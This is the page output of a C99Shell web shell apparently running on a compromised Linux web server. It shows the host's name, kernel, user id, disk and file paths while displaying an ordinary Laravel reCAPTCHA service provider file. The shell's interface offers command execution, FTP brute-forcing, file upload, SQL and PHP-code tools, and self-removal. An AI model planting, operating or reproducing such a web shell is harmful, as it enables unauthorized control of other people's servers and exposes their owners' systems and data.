!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/biscolab/laravel-recaptcha/src/   drwxr-xr-x
Free 28.33 GB of 117.98 GB (24.01%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ReCaptchaServiceProvider.php (3.06 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Copyright (c) 2017 - present
 * LaravelGoogleRecaptcha - ReCaptchaServiceProvider.php
 * author: Roberto Belotti - roby.belotti@gmail.com
 * web : robertobelotti.com, github.com/biscolab
 * Initial version created on: 12/9/2018
 * MIT license: https://github.com/biscolab/laravel-recaptcha/blob/master/LICENSE
 */

namespace Biscolab\ReCaptcha;

use 
Illuminate\Support\Facades\Route;
use 
Illuminate\Support\Facades\Validator;
use 
Illuminate\Support\ServiceProvider;

/**
 * Class ReCaptchaServiceProvider
 * @package Biscolab\ReCaptcha
 */
class ReCaptchaServiceProvider extends ServiceProvider
{

    
/**
     * Indicates if loading of the provider is deferred.
     *
     * @var bool
     */
    
protected $defer false;

    
/**
     *
     */
    
public function boot()
    {

        
$this->addValidationRule();
        
$this->registerRoutes();
        
$this->publishes([
            
__DIR__ '/../config/recaptcha.php' => config_path('recaptcha.php'),
        ], 
'config');
    }

    
/**
     * Extends Validator to include a recaptcha type
     */
    
public function addValidationRule()
    {
        
$message null;

        if (!
config('recaptcha.empty_message')) {
            
$message trans(config('recaptcha.error_message_key'));
        }
        
Validator::extendImplicit(recaptchaRuleName(), function ($attribute$value) {

            return 
app('recaptcha')->validate($value);
        }, 
$message);
    }

    
/**
     * Register the service provider.
     *
     * @return void
     */
    
public function register()
    {

        
$this->mergeConfigFrom(
            
__DIR__ '/../config/recaptcha.php',
            
'recaptcha'
        
);

        
$this->registerReCaptchaBuilder();
    }

    
/**
     * Get the services provided by the provider.
     *
     * @return array
     */
    
public function provides(): array
    {

        return [
'recaptcha'];
    }

    
/**
     * @return ReCaptchaServiceProvider
     *
     * @since v3.4.1
     */
    
protected function registerRoutes(): ReCaptchaServiceProvider
    
{

        
Route::get(
            
config('recaptcha.default_validation_route''biscolab-recaptcha/validate'),
            [
'uses' => 'Biscolab\ReCaptcha\Controllers\ReCaptchaController@validateV3']
        )->
middleware('web');

        return 
$this;
    }

    
/**
     * Register the HTML builder instance.
     *
     * @return void
     */
    
protected function registerReCaptchaBuilder()
    {

        
$this->app->singleton('recaptcha', function ($app) {

            
$recaptcha_class '';

            switch (
config('recaptcha.version')) {
                case 
'v3':
                    
$recaptcha_class ReCaptchaBuilderV3::class;
                    break;
                case 
'v2':
                    
$recaptcha_class ReCaptchaBuilderV2::class;
                    break;
                case 
'invisible':
                    
$recaptcha_class ReCaptchaBuilderInvisible::class;
                    break;
            }

            return new 
$recaptcha_class(config('recaptcha.api_site_key'), config('recaptcha.api_secret_key'));
        });
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--